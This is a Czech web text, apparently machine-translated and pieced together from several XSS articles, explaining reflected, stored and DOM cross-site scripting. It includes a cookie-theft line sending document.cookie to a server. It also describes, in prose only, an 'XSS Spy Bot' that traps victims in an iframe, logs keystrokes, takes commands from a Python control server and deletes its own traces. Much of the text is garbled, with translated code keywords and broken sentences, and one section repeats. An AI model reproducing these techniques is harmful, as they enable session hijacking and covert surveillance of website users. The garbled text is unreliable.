Cross-site scripting (zkráceně XSS) je rozšířená chyba zabezpečení, která ovlivňuje mnoho webových aplikací. Umožňuje útočníkovi injekci Škodlivý kód na webovou stránku tak, že prohlížeč uživatele navštěvujícího web spustí tento kód.
Využití takové chyby zabezpečení obvykle vyžaduje určitou interakci s uživatelem: buď je uživatel nalákán na infikovanou stránku pomocí sociální inženýrství nebo jednoduše počkejte, až navštíví tyto stránky. Vývojáři proto často neberou zranitelnosti XSS vážně.
Pokud se ale neřeší, mohou představovat vážné bezpečnostní riziko.
Představme si, že jsme v administračním panelu WordPress, přidejte nový obsah. Pokud k tomu použijeme plugin zranitelný XSS, může prohlížeč donutit vytvořit nového správce, upravit obsah a provést další škodlivé akce. Skriptování mezi weby dává útočníkovi téměř úplnou kontrolu nad tím nejdůležitějším software v těchto dnech - prohlížeč.
XSS: Zranitelnost vstřikováníKaždá webová stránka nebo aplikace má několik míst pro zadávání dat - formulářová pole až po samotnou URL. Nejjednodušší příklad vstupní údaje - když zadáme uživatelské jméno a heslo ve tvaru:
Naše jméno bude uloženo v databázi webu pro následné interakce s námi. Když jste se přihlásili na jakoukoli webovou stránku, jistě jste viděli osobní pozdrav ve stylu „Vítej, Ilyo“.
Právě pro tyto účely jsou uživatelská jména uložena v databázi.
Injekce je postup, kdy se místo jména nebo hesla zadá speciální sekvence znaků, která nutí server nebo prohlížeč reagovat určitým způsobem požadovaným útočníkem.
Cross-site scripting je injekce, která vkládá kód, který bude v prohlížeči provádět akce jménem webu. To se může stát buď s upozorněním uživateli, nebo na pozadí, bez jeho vědomí. 
Odražený útok XSS se spustí, když uživatel klikne na speciálně vytvořený odkaz.
K těmto zranitelnostem dochází, když data poskytovaná webovým klientem, nejčastěji v parametrech HTTP požadavku resp HTML formulář, jsou spouštěny přímo skripty na straně serveru k analýze a zobrazení stránky s výsledky pro daného klienta bez řádného zpracování.
Uložené (trvalé).Uložené XSS je možné, když se útočníkovi podaří vložit škodlivý kód na server, který se spustí v prohlížeči při každém přístupu na původní stránku. Klasickým příkladem této chyby zabezpečení jsou fóra, která umožňují komentáře HTML.
Chyby zabezpečení způsobené kódem na straně klienta (JavaScript, Visual Basic, Flash atd.): Také známé jako DOM: Odražené (netrvalé).Stejně jako na straně serveru, pouze v tomto případě je útok možný díky tomu, že kód zpracovává prohlížeč.
Uložené (trvalé).Podobně jako u XSS uložených na straně serveru, pouze v tomto případě je škodlivý komponent uložen na straně klienta pomocí úložiště prohlížeče.
Příklady zranitelností XSS.Je zajímavé, že ve většině případů, kde je tato chyba zabezpečení popsána, nás děsí následující kód:
Http://www.site.com/page.php?var=alert("xss");
Existují dva typy XSS zranitelností – pasivní a aktivní.
Aktivní zranitelnost je nebezpečnější, protože útočník nemusí lákat oběť pomocí speciálního odkazu, stačí mu vložit kód do databáze nebo nějakého souboru na serveru. Obětí se tak automaticky stávají všichni návštěvníci stránek. Lze jej integrovat například pomocí SQL injection. Proto byste neměli důvěřovat datům uloženým v databázi, i když byla zpracována při vkládání.
Příklad pasivní zranitelnost Můžete to vidět hned na začátku článku. To už vyžaduje sociální inženýrství, například důležitý dopis od administrace webu, který vás žádá o kontrolu nastavení účtu po obnovení ze zálohy. V souladu s tím potřebujete znát adresu oběti nebo si jednoduše zařídit rozesílání spamu nebo příspěvek na nějaké fórum a není pravda, že oběti budou naivní a budou následovat váš odkaz.
Navíc parametry POST i GET mohou být citlivé na pasivní zranitelnost. S parametry POST se samozřejmě budete muset uchýlit k trikům. Například přesměrování z webu útočníka.
document.getElementsByTagName("form").submit();
Zranitelnost GET je proto o něco nebezpečnější, protože... pro oběť je snazší si všimnout nesprávné domény než doplňkový parametr(ačkoli adresa URL může být obecně zakódována).
Kradení cookiesToto je nejčastěji uváděný příklad XSS útoku. Webové stránky někdy ukládají některé cenné informace do souborů cookie (někdy dokonce uživatelské jméno a heslo (nebo jeho hash)), ale nejnebezpečnější je krádež aktivní relace, takže nezapomeňte kliknout na odkaz „Konec“ na webových stránkách, a to i Pokud tohle domácí počítač. Naštěstí u většiny zdrojů je životnost relace omezená.
Var img = new Image(); img.srс = "http://site/xss.php?" + dokument.cookie;
Proto zavedli omezení domény pro XMLHttpRequest, ale pro útočníka to není problém, protože existuje, , , background:url(); a tak dále.
Formulář hledáme například přes getElementById a sledujeme událost onsubmit. Nyní, před odesláním formuláře, jsou zadaná data odeslána také na server útočníka.
Tento typ útoku poněkud připomíná phishing, pouze využívá skutečné stránky, nikoli falešné, což v oběti vzbuzuje větší důvěru.
DDoS útok (distribuovaný útok odmítnutí služby)Zranitelnost XSS na silně navštěvovaných zdrojích může být použita ke spuštění DDoS útoku. Podstata je jednoduchá - existuje mnoho požadavků, které napadený server nemůže odolat.
Ve skutečnosti je vztah k XSS nepřímý, protože skripty se nemusí vůbec používat, stačí taková konstrukce:
Jak můžete chránit svůj web před XSS? Jak zkontrolovat, zda váš kód neobsahuje chyby zabezpečení? Existují technologie jako Sucuri Firewall, které jsou speciálně navrženy tak, aby se takovým útokům vyhnuly. Ale pokud jste vývojář, určitě se budete chtít dozvědět více o tom, jak identifikovat a zmírnit zranitelnost XSS.
O tom si povíme v další části článku o XSS.
Co je zranitelnost XSS? Máme se jí bát?
Cross-site scripting (zkráceně XSS) je rozšířená chyba zabezpečení, která ovlivňuje mnoho webových aplikací. Umožňuje útočníkovi vložit škodlivý kód do webové stránky takovým způsobem, že prohlížeč uživatele, který stránku navštíví, kód spustí.
Využití takové zranitelnosti obvykle vyžaduje určitou interakci s uživatelem: buď je nalákán na infikovanou stránku pomocí sociálního inženýrství, nebo jednoduše čeká, až uživatel stránku navštíví. Vývojáři proto často neberou zranitelnosti XSS vážně. Pokud se ale neřeší, mohou představovat vážné bezpečnostní riziko.
Představme si, že jsme v administračním panelu WordPress a přidáváme nový obsah. Pokud k tomu použijeme plugin zranitelný XSS, může prohlížeč donutit vytvořit nového správce, upravit obsah a provést další škodlivé akce.
Cross-site scripting dává útočníkovi téměř úplnou kontrolu nad nejdůležitějším softwarem dnešní doby – prohlížečem.
XSS: Zranitelnost vstřikováníKaždá webová stránka nebo aplikace má několik míst pro zadávání dat - formulářová pole až po samotnou URL. Nejjednodušším příkladem zadávání dat je zadání uživatelského jména a hesla do formuláře:
Obrázek 1. Formulář pro zadání dat
Naše jméno bude uloženo v databázi webu pro následné interakce s námi. Když jste se přihlásili na jakoukoli webovou stránku, jistě jste viděli osobní pozdrav ve stylu „Vítej, Ilyo“. Právě pro tyto účely jsou uživatelská jména uložena v databázi.
Injekce je postup, kdy se místo jména nebo hesla zadá speciální sekvence znaků, která nutí server nebo prohlížeč reagovat určitým způsobem požadovaným útočníkem.
Cross-site scripting je injekce, která vkládá kód, který bude v prohlížeči provádět akce jménem webu. To se může stát buď s upozorněním uživateli, nebo na pozadí, bez jeho vědomí.
Obrázek 2. Vizuální diagram cross-site skriptování
Nejjednodušším příkladem je jednoduchý skript, který zobrazí okno s upozorněním. Vypadá to nějak takto:
Tabulka 1. Skript, který způsobuje vyskakovací okno
upozornění ("TO JE ZRANITELNOST XSS!!!")
Tento skript zobrazí okno se zprávou „TO JE ZRANITELNOST XSS!!!“ Prohlížeč uživatele vnímá a provádí tento skript jako součást legitimního kódu webu.
Typy zranitelností XSSNe všechny zranitelnosti XSS jsou stejné, existuje mnoho typů. Zde jsou typy a způsob jejich vzájemného působení:
Obrázek 3. Typy zranitelností XSS
Chyby zabezpečení způsobené kódem na straně serveru (Java, PHP, .NET atd.):
Tradiční XSS útoky:
Chyby zabezpečení způsobené kódem na straně klienta (JavaScript, Visual Basic, Flash atd.):
Také známé jako modely DOM:
Chyby zabezpečení způsobené infrastrukturou (prohlížeč, pluginy, servery atd.):
Jsou velmi vzácné, ale jsou nebezpečnější:
Chyby zabezpečení způsobené uživatelem:
Jak můžete chránit svůj web před XSS? Jak zkontrolovat, zda váš kód neobsahuje chyby zabezpečení? Existují technologie jako Sucuri Firewall, které jsou speciálně navrženy tak, aby se takovým útokům vyhnuly. Ale pokud jste vývojář, určitě se budete chtít dozvědět více o tom, jak identifikovat a zmírnit zranitelnost XSS. O tom si povíme v další části článku o XSS.
Každý už dávno ví, že nejčastěji se útočník pomocí XSS pokouší odeslat cookie oběti, číst tokeny CSRF, provést phishingový útok (vytvořením falešného přihlašovacího formuláře), provést nějakou akci jménem uživatele a některé další podobné útoky (možná to nejsou všechny možnosti, ale toto jsou všechny ty nejoblíbenější, které znám tento moment).
Účelem této metody je sledovat jménem uživatele stránky, které na napadeném webu procházel, a také sledovat jeho stisky kláves (lze použít i pohyby myši a klikání, ale pro mě to bude zbytečné, nijak zvlášť užitečné informace, ve většině případů určitě).
Nyní ohledně maximálního přínosu - věřím, že algoritmus bude takto:
- číst a odesílat soubory cookie;
- přečíst a odeslat zbytek informací (IP adresa, nainstalované pluginy, verze a typ prohlížeče, podpora flash, podpora Silverlight atd.) [volitelné]
- získáváme informace o vnitřní síť, prolomíme router [volitelné]
- číst a odesílat různé tokeny [volitelné];
- implementovat phishing [volitelné];
- děláme něco „rukama uživatele“ [volitelné];
- pokračujeme v jeho špehování a získávání informací, dokud nezavře záložku nebo neopustí web;
Všechny volitelné položky seznamu by IMHO měly být prováděny v závislosti na situaci a konkrétních prioritách pro cíle, kterých je třeba pomocí XSS dosáhnout, někdy se mohou navzájem rušit (pokud se je pokusíte kombinovat, nebo spíše provádět jednu po druhé) a zvýšit pravděpodobnost selhání operace XSS.
Ale tady je první poslední bod V každém případě byste to měli udělat vždy. Ve skutečnosti bude hlavní část článku o poslední položce z tohoto seznamu.
Začnu zpovzdálí: prostřednictvím JavaScriptu je možné změnit cestu adresní řádek bez opětovného načtení stránky. Pokud například uživatel načetl stránku na adrese
Poté bude obsah v adresním řádku vypadat následovně (bez opětovného načtení stránky):
http: //site.com/new-url/ |
Tato funkce je mimochodem někdy docela užitečná, když je potřeba se před uživateli (nebo pozornější kategorií uživatelů – administrátory) schovat rychlým vyčištěním URL poté, co klikli na odkaz obsahující Reflected XSS, takže později, po načtení stránky, pohled do adresního řádku, nic nenašel.
http : //site.com/search.php?q=123 dokument . tělo. innerHTML += "Hacked" ; |
http: //site.com/search.php?q=123 okno. Dějiny. pushState ("" , "" , "/" ); dokument. tělo. innerHTML += "Hacked" ; |
připravíme ho o tuto příležitost.
Ale tato technika má ještě zajímavější a výkonnější aplikace. Po kliknutí na odkaz budeme simulovat pobyt uživatele na webu, ve skutečnosti zůstane celou dobu na jedné stránce a v tuto chvíli bude fungovat skript třetí strany, který vytahuje a odesílá informace útočníkovi. Tím pádem, XSS bude fungovat, dokud uživatel klikne na odkaz v této doméně .
Označujeme myšlenku.Obecný princip fungování je tento: když uživatel vstoupí na stránku s XSS, skript vytvoří iframe se stejnou adresou jako stránka a „připojí“ jej do popředí, uživatel získá dojem, že se stránka načetla normálně, protože iframe lze vidět pouze na kódových stránkách.
A pomocný skript řídí logiku špionážního robota, to znamená, že sleduje, kdy se adresa v rámci změní, aby ji změnil v adresním řádku, ale pokud má nově změněná adresa rámce jinou doménu, můžete otevřít na nové kartě, nebo budete muset stránku znovu načíst, abyste se nespálili.
Aby se tedy XSS v tuto chvíli přestalo spouštět, musí uživatel stránku buď obnovit ručně (pokud je XSS Reflected a bylo přeneseno Metoda POST, v ostatních případech aktualizace nepomůže a mimochodem některé prohlížeče nyní při aktualizaci stránky mohou opět odeslat požadavek POST) nebo zavřít kartu nebo přejít na jinou doménu (i když v tomto případě stále můžete vyhnout se ztrátě kontroly).
Pokud jde do subdomény napadené domény, pak je to volba útočníka, to znamená, že XSS bude fungovat, ale je malá šance, že uživatel zjistí nesrovnalost mezi adresou. Myslím, že v závislosti na situaci zde, například pokud byla napadena doména google.ru, uživatel přešel na cloudovou souborovou službu Google, která obvykle leží v subdoméně drive.google.ru, pak je pravděpodobnost, že si všimne úlovek při pohledu na adresní řádek je poměrně vysoký, pokud tuto službu často využíval. V opačném případě můžete také riskovat. Musíme ale počítat s tím, že už nebudeme moci číst jeho data z rámce se subdoménou, protože Cross Origin Policy to neumožňují. Ale můžeme bezpečně procházet hlavní doménu jejím jménem ve skrytém režimu (více o tom níže).
Pouze tato metoda má omezení, konkrétně nebude fungovat, pokud odpovědi webového serveru obsahují hlavičku X-Frame-Options s hodnotou DENY . Osobně jsem ale na takové stránky narazil doslova několikrát, nyní dokonce polovina z nich nemá nastaven SAMEORIGIN, nemluvě o úplném omezení prostřednictvím ODMÍTNOUT.
Pojďme analyzovat myšlenku.Teď si asi mnozí vzpomenou na tak úžasnou věc, jako je BeEF, která má také spoustu zajímavých věcí. Mimochodem, existuje i možnost donutit uživatele k přesměrování v rámci, ale adresa v adresním řádku se nemění, což může rychle spálit stůl a tato možnost slouží trochu jiným účelům.
Obecně má BeEF téměř vše, co potřebujete, a dokonce i hodně doplňkové funkce, ale osobně jsem chtěl další funkce, konkrétně:
- možnost sledovat kód stránek, které jsou přístupné napadenému uživateli v reálném čase;
- možnost vidět vše, co na daném webu napíše (od přihlašovacího jména a hesla až po klávesové zkratky a zprávy), tedy keylogger v JS;
- možnost zadávat JS příkazy vašemu botovi v reálném čase po zobrazení kódu přijatých stránek;
- schopnost ponechat příkazy robotovi lokálně, aby je mohl později „vyzvednout“ a provést bez naší přímé účasti;
- nižší pravděpodobnost spálení robota nebo jeho schopnost „schovat se“ před zvědavýma očima;
Jak již bylo zmíněno výše, rozhodl jsem se vypůjčit si skvělý nápad fronty provádění příkazů od BeEF. Například jsme analyzovali stránky, které robot zahodil, když privilegovaný uživatel přistupoval k jeho ovládacímu panelu s uloženým XSS, příkazy ponecháváme robotovi - kód JS, jako když se uživatel příště přihlásí, klikněte na toto tlačítko, napište toto value here atd. , až tento uživatel příště navštíví stránku, robot si přečte příkazy a provede je a my nemusíme být u všeho u jeho kormidla – je to velmi pohodlné.
V zásadě je takový bot samozřejmě určen pro vysoce postavené uživatele některých stránek, které mají další „páky“ pro správu obsahu, jiných uživatelů atd. Z požadavků na funkčnost je zřejmé, že bez serverové části se neobejdeme.
Pojďme nápad realizovat.V zásadě můžete tuto část článku přeskočit, protože jednoduše popisuje proces implementace požadovaného robota a některé jeho podrobnosti pro případ, že by si ho někdo chtěl předělat nebo upravit pro sebe. I když bot bude mít na začátku kódu proměnné, pomocí kterých můžete nastavit některá nastavení.
Za prvé, algoritmus akcí robota od okamžiku načtení:
1) Kontrola přítomnosti hlavičky X-Frame-Options:DENY(pokud existuje, pak rybářské pruty srolujeme);
2) Vložení rámu a nastavení všech součástí robota;
3) Odstranění skriptu a všech stop v kódu HTML;
4) Navázání kontaktu se serverovou částí a zahájení odesílání dat, reakce na odpovědi (příjem příkazů ze serveru);
První bod nebyl proveden úplně, to znamená, že bot kontroluje pouze první stránku a kořenovou hlavičku. Faktem je, že tyto hlavičky jsou obvykle zabudovány webovým serverem pro všechny stránky najednou a je velmi vzácné, že pro jednu stránku se vše dělá „ručně“. A tento titul sám o sobě je poměrně vzácný. No, o druhém a třetím není moc co říci, vše bude níže.
Existují relativně důležitý bodže před přidáním kódu skriptu bota do kódu se musíte okamžitě zbavit znaků XSS v adresním řádku (z kódu JS), protože to snižuje šance na detekci a hlavně zabraňuje rekurzi, ke které dochází při přidávání adresy se stejným XSS do kódu rámce, který zase vytvoří další rámec sám se sebou a tak dále.
Ale pro každý případ, kód bota implementuje schopnost detekovat takovou rekurzi rámce a zabránit jí při prvním pokusu přidat rámec k již vytvořenému, ale je lepší nespoléhat se pouze na něj, ale kód dodatečně odstranit před načtením kódu bota. I když jsem zatím na žádný problém nenarazil.
Funkce kontroly aktualizace rámečku. Vyzkoušel jsem několik způsobů, jak tento problém ekonomicky vyřešit zavěšením obslužných rutin událostí contentWindow nebo contentDocument, ale nic nefungovalo, takže jsem musel napsat funkci, která zkontroluje adresu rámce a porovná ji s dříve uloženým a podle toho rozhodne, zda se rám aktualizuje (zda se adresa změnila) a poté nazývá se rekurzivně.
Frekvence takových kontrol za sekundu je řízena proměnnou zpoždění, který je uveden na začátku souboru s kódem bota. Ale později, když už jsem to napsal, našel jsem efektivnější řešení - použít jednoduché řešení a zavěsit načíst do rámu, takže jsem tuto funkci opustil, ale okomentoval jsem to pro případ, že by se později ukázalo, že je to více žádané.
Schéma je zde poměrně jednoduché - po každém opětovném načtení rámce (včetně prvního načtení) robot odešle na server celý HTML kód stránky spolu s její aktuální adresou, takže později můžete rozlišit, zda kód patří požadovanému stránky.
Server implementuje logiku ukládání stránek - server vytvoří pro každou doménu složku s názvem této domény a uloží tam všechna data. Kódy stránek jsou uloženy a neustále aktualizovány aktuální verze, ale zároveň se každý nový den vytvoří nová kopie stránky, abyste mohli v případě potřeby ovládat historii verzí. To je pro /news.php 1. září bude stav aktualizován a 2. září bude vytvořena jeho kopie relevantní pouze pro daný den a tak dále každý den (pokud uživatel tuto stránku navštěvuje každý den). Název stránky se skládá z data a cesty k této stránce vzhledem ke kořenovému adresáři webu (tj. bez domény).
Keylogger v JavaScriptu.Nápad už realizovali nějací nadšenci, ale jejich práce pro mě nebyla vhodná, už proto, že většina z nich byla docela jednoduchá, tedy detekovali kód stisknuté klávesy a přes String.fromCharCode přeloženo do symbolů. Tato metoda má však řadu nevýhod - ovládací klávesy, jako je shift, control, mezera atd., nejsou převedeny do žádné formy (často jednoduše do prázdného znaku), interakce alfanumerických kláves s shiftem je nesprávně protokolována, protože musí být implementováno programově a také se zobrazí všechny stisknuté klávesy velká písmena, které lze opravit i programově.
Výsledkem byl keylogger, který správně detekoval všechny klávesy čísel, písmen a základních znaků, pracoval na obou rozloženích, reagoval na posun a zaznamenával všechny hlavní speciální klávesy. Pravda, některé značky (nahoře digitální série, které se tisknou při stisknutí směny a čísla), se mohou na některých strojích lišit, protože byly implementovány podle základní normy, kterou některé firmy mění.
Každá část stisknutých znaků je klientem zachována, dokud textový prvek neztratí fokus. Dále je tato část odeslána na server, kde je uložena textový soubor, který bude navíc každý den vznikat s novou kopií, aby nenarůstala do velkých velikostí a rychle jste našli, co uživatel v takovou chvíli psal.
Kromě samotných klíčů jsou na server s každou částí odeslány informace o prvku, do kterého byl text napsán (tj. , [
nebo nějaké
když uživatel použil klávesové zkratky), kromě názvu prvku jsou odeslány jeho základní údaje (id, jméno, třída - pokud existuje), aby jej bylo možné snadno najít v kódu. A samozřejmě se eviduje adresa stránky, na které byl nábor proveden, a přibližný čas tohoto náboru. V obecná informace o klepnutí uživatele na klávesnici je odesláno poměrně dost pro jeho následnou analýzu.
Tento proces může provést útočník nebo na straně, kde bude bot provozovat server, nebo dokonce vzdáleně. Po spuštění skriptu serveru se spustí samostatně napsaný miniaturní webový server, který obsluhuje požadavky od robota a jeho kontroléru, který pracuje přes webové rozhraní. To znamená, že po spuštění webový server vydá odkaz, na který můžete botovi zadávat příkazy.
O tomto ovládacím panelu. Jednak to bylo nutné omezit heslem (cesta a málokdo bude vědět o běžící službě na tom a takovém portu nebo o adrese, na kterou se musí dostat, aby tuto službu mohl používat), aby při prvním přihlášení se server zeptá na heslo, které je uvedeno v adresním řádku (uvedeme příklad), původní heslo je uloženo v password.txt, které lze změnit. Po prvním přihlášení dá webový server prohlížeči pokyn k uložení hesla do cookie, takže se o to nemusíte dále starat.
Na samotné stránce pro odesílání příkazů robotovi jsou také informace o stavu robota - zda je v tuto chvíli online nebo offline, a několik nastavení, z nichž první je hostitel, tedy IP adresu nebo doménu webu, na který budou robotovi odesílány příkazy. To je navrženo pro případ, že tohoto robota obsahuje několik webů, aby bylo možné je identifikovat. Na serveru jsou i pro tento případ všechna data rozdělena do složek s názvy domén.
Dále je okno, kde můžete botovi psát příkazy v JS, a možnost, která nastavuje, kde bude tento JS kód spuštěn, v hlavním okně, kde robot sedí, nebo v rámci – to se dělá pro pohodlí, pro případ .
Pokud robot není online, server jednoduše uloží příkazy a později, když se robot dostane do režimu online, to znamená, že uživatel s ním znovu navštíví stránku nebo následuje odkaz útočníka, budou tyto příkazy provedeny.
To je velmi výhodné, pokud při první rekognoskaci bot smaže všechny stránky navštívené uživatelem (např osobní účet), po prostudování kódu, jehož příkazy jsme zkompilovali v JS, aby robot poté klikal na odkazy, které jsme potřebovali, zadával potřebná data, zobrazoval potřebné obrázky atd., což by pomohlo dosáhnout našeho cíle.
Nebo se můžete přímo v reálném čase rychle podívat na obsah stránek přes kód a dát příkazy botovi, aby odeslal kód dalších stránek, přešel na jinou adresu atd. A to vše bude provedeno „za screen“ uživatele, který bude klidně procházet webem přes rám.
Pro vaše pohodlí můžete nejčastěji používané instrukce zformovat do celých funkcí v JS, do kterých se následně zadávají původní soubor roboti ( xsb.js, více o struktuře souborů níže) a použití. Nebo použijte ty funkce, které jsou v botě obsaženy, jsou tam sice jen základy a není tam nic nového, ale například funkci odeslání kódu stránky můžete použít kdykoli, a ne při opětovném načtení rámce. Můžete napsat funkci, která otevře odkazy, které jí byly předány, v nových rámcích na pozadí, aby bylo možné zobrazit obsah několika stránek najednou jménem uživatele (a pracovat s tímto obsahem jeho virtuálníma rukama).
Odstranění vlastního kódu.Studna poslední šance je implementován zcela jednoduše (lze jej zakázat nastavením požadované proměnné v souboru, jsou zakomentovány). Skript se po nastavení a zavěšení všech obslužných rutin událostí, vytvoření všech proměnných a funkcí sám smaže
Koneckonců, všechna data již byla načtena RAM přes prohlížeč, takže se není čeho obávat, ale to je teoreticky, možná se později vyskytnou nějaké problémy, se kterými jsem nepočítal, proto jsem vytvořil proměnnou, pomocí které lze tuto funkci v případě potřeby zakázat.
Po smazání všech skriptů bude extrémně obtížné si všimnout XSS, protože přítomnost rámce to zcela nepřímo nenaznačuje a samotný kód lze nalézt pouze v protokolech historie síťového provozu prohlížeče (které nejsou ve výchozím nastavení uchovávány v mnoha prohlížečích, pokud panel pro vývojáře není otevřený) .
Serverová část.Pro jednodušší a pohodlnější způsob spouštění bota bylo rozhodnuto napsat vlastní malý webový server na soketech, který by botovi sloužil, zajišťoval veškeré operace pro příjem a odesílání odeslaných dat, přenášel zprávy mezi útočníkem a botem, a vytvořit webové rozhraní pro útočníka pro příkaz .
Server byl napsán v Pythonu, snažil jsem se používat pouze standardní knihovny, abych před spuštěním nemusel nic instalovat. Také server sám upravuje některá data ve skriptech, to znamená, že v JS skriptu bota není potřeba nastavovat adresu řídícího serveru, web server si tam požadovanou nastaví sám při spuštění. V konfiguraci serveru je pouze jeden parametr - port, na kterém bude spuštěn (výchozí je 8000).
Po spuštění server poskytne všechna potřebná data - odkaz na JS skript, který bude potřeba podsunout, odkaz na příkazový panel, nebo spíše odkazy na externí a lokální adresy, pro pohodlí.
Spustíme server na nějakém nevyzvednutém portu a můžete poslat odkaz se skriptem bota, pak vám každý, kdo na něj klikne, pošle data, která server uloží kdykoli během dne. Pak je můžete jednoduše zobrazit, pokud je potřeba opustit týmového robota a pokračovat v práci po svém.
Struktura souboru.Složka obsahuje následující soubory:
- xsb.py – hlavní soubor, který implementuje serverovou část, aby bot fungoval, spusťte jej a poté jednoduše použijte odkaz, který nabízí;
- xsb.js - zde je uložen JS kód robota, na který odkaz poskytuje server, na jeho začátku jsou deklarovány konfigurační proměnné, které lze dle vlastního uvážení změnit (některé, jmenovitě hostitel a port, server se nastaví později sám, nemusíte se o to starat);
- panel.html - odtud server převezme kód pro ovládací panel bota, rozhraní můžete upravit podle svého uvážení;
- password.txt - zde je uloženo heslo pro ústřednu, které lze změnit;
- SavedData je adresář, ve kterém budou vytvořeny složky s doménami webových stránek, do kterých se budou ukládat veškeré informace.
Znovu podotýkám, že ve spisu xsb.js můžete přidat své vlastní funkce, které pak můžete volat přes panel, aniž byste museli psát velké části kódu;
Krátká analýza výsledků.Poté, co jsem napsal svůj vlastní vynalezený způsob, jak udržet uživatele na stránce s XSS prostřednictvím rámců (no, jak vymyšleno - osobně jsem to objevil pro sebe, je docela možné, že někdo jiný "vynalezl" stejnou techniku pro sebe nebo už je někde na veřejnosti zazářil, protože teď je docela těžké vyvinout něco skutečně nového a zpravidla po nějaké době zjistíte, že „tohle už bylo v Simpsonových“) jsem se začal podrobněji zabývat BeEF a četl jsem jeho wiki. Pak jsem zjistil, že tam byla implementována další technika k dosažení stejného cíle – prodloužení času uživatele na stránce se spustitelným XSS (který nazývali man-in-the-browser). A bylo to implementováno takto: všechny odkazy na původní stránce byly změněny tak, že když na některý z nich kliknete, skript stránku znovu nenačte, ale přes Ajax odeslal požadavek na server a vložil data obdržené v reakci, tedy dalo by se říci uměle aktualizované, což bylo také téměř k nerozeznání od běžného občerstvení.
Nebyl jsem proto první, komu se podařilo tuto myšlenku uskutečnit (i když se ukázalo, že metody jsou různé). Ale obě tyto metody mají své nevýhody:
Metoda načítání přes nefunguje, pokud je v odpovědi hlavička X-Frame-Options:DENY, ale jinak funguje jako běžné okno prohlížeče;
Metoda ajax funguje vždy, pokud ji prohlížeč podporuje (všechny hlavní prohlížeče ji nyní podporují), ale s novým standardem Web 2.0 je stále více přechodů spouštěno vlastními událostmi libovolných prvků prostřednictvím JS. Jednoho dne jsem šel do Google AdWords a rozhodl jsem se podívat, jak tam jejich HTML a JS interagují, protože všichni moji pavouci byli extrémně špatní při vytváření zadní mapy této služby. A celý večer jsem tiše šílel, jak je tam všechno nezvyklé, kdy textové prvky Byla to tlačítka, přepínače, posuvníky a vše ostatní, co znázorňovali, a každý měl asi 30 ovladačů pro různé události.
To znamená, že na sofistikovaném webu bude přechodové tlačítko (subjektivně odkaz) implementováno prostřednictvím běžné značky , který je nabitý styly a ke kterému jsou připojeny obslužné rutiny událostí, z nichž jeden, např. onclick přesměruje uživatele na jinou stránku. Existuje také standardní prvky typ [i] nebo on sám atd., což jsou vlastně také odkazy na jiné stránky, na které ale BeEF nebude reagovat a stránka se prostě neaktualizuje, když kliknete na většinu tlačítek a dalších prvků. Což může uživatele vyzvat k obnovení stránky nebo opětovnému vstupu z druhé strany, což ukončí naši aktivní XSS relaci.
Pro stručnost v pojmenování souborů jsem to nazval Xss Spy Bot.
P.S.
Psaní této celé věci trvalo něco málo přes měsíc kvůli pravidelnému nedostatku času a neustálému rozptylování. I kvůli tomu je kvalita kódu a pravděpodobnost, že narazíte na nějakou chybu, dost vysoká. Prosím vás tedy, abyste moc nenadávali, ale sepsali, co komu vadí, aby se to dalo napravit.
Sám jsem bota testoval pouze na 4 počítačích, na všech běží Debian.
Dlouhodobé plány pro tohoto robota, pokud existuje motivace:
— implementovat vykreslování kódu stránek, které robot posílá na server, aby se okamžitě otevřel v prohlížeči a mohl být „ohmatán“ a testován za běhu;
— budou se snažit ulovit dobroty z technologie WebRTC, tedy najít způsoby, jak je získat nová informace, který není vytažen čistým JS;
— implementovat komunikaci mezi robotem a serverem pomocí protokolu WebSocket přes HTTP;
— přidat některé vymoženosti do ovládacího panelu;
Naposledy aktualizováno 18. listopadu 2016.
Cross-site scripting (XSS) je chyba zabezpečení, která zahrnuje vložení kódu na straně klienta (JavaScript) do webové stránky, kterou si prohlížejí ostatní uživatelé.
Zranitelnost je způsobena nedostatečným filtrováním dat, která uživatel odesílá k vložení na webovou stránku. Mnohem snazší na pochopení konkrétní příklad. Zapamatujte si jakoukoli knihu návštěv – jedná se o programy, které jsou navrženy tak, aby přijímaly data od uživatele a následně je zobrazovaly. Představme si, že kniha návštěv zadané údaje nijak nekontroluje ani nefiltruje, ale pouze zobrazuje.
Můžete si načrtnout svůj nejjednodušší skript (není nic jednoduššího, než psát špatné skripty v PHP – mnoho lidí to dělá). Ale hotových možností je již dost. Navrhuji například začít s Dojo a OWASP Mutillidae II. Je tam podobný příklad. V samostatném prostředí Dojo přejděte ve svém prohlížeči na tento odkaz: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Pokud jeden z uživatelů zadal:
Webová stránka pak zobrazí:
Ahoj! Vaše stránky se mi líbí.
A pokud uživatel zadá toto:
Ahoj! Líbí se mi vaše site.alert("Pwned")
Poté se zobrazí takto:
Prohlížeče ukládají mnoho souborů cookie pro velké množství webů. Každý web může přijímat pouze soubory cookie, které si sám uloží. Například example.com uložil některé soubory cookie do vašeho prohlížeče. Pokud navštívíte other.com, tento web (klientské a serverové skripty) nebude mít přístup k cookies, které example.com uložil.
Pokud je example.com zranitelný vůči XSS, znamená to, že do něj můžeme nějakým způsobem vložit kód JavaScript a tento kód bude spuštěn jménem example.com! Tito. Tento kód bude například přistupovat k cookies na example.com.
Myslím, že každý si pamatuje, že JavaScript se spouští v uživatelských prohlížečích, tzn. v přítomnosti XSS získá vložený škodlivý kód přístup k datům uživatele, který stránku webu otevřel.
Vložený kód umí vše, co umí JavaScript, konkrétně:
- získává přístup k cookies webové stránky, kterou si prohlížíte
- může provést jakékoli změny vzhled stránky
- přistupuje do schránky
- může implementovat programy JavaScript, například keyloggery (zachycovače úhozů)
- vyzvedněte na BeEF
- atd.
Nejjednodušší příklad s cookies:
upozornění (document.cookie)
Upozornění se ve skutečnosti používá pouze k detekci XSS. Skutečné škodlivé zatížení provádí skryté akce. Tajně se stýká vzdálený serverútočníkovi a předá mu odcizená data.
Typy XSSNejdůležitější věcí, kterou je třeba pochopit o typech XSS, je, že jsou:
- Uloženo (trvale)
- Odražený (nestálý)
Příklad konstant:
- Pokaždé, když uživatel požádá o zobrazení této stránky, je ze serveru stažena speciálně vytvořená zpráva zadaná útočníkem do knihy návštěv (komentář, zpráva na fóru, profil), která je uložena na serveru.
- Útočník získal přístup k datům serveru například prostřednictvím SQL injekce a zavedl škodlivý kód JavaScript (s keyloggery nebo BeEF) do dat poskytovaných uživateli.
Příklad netrvalých:
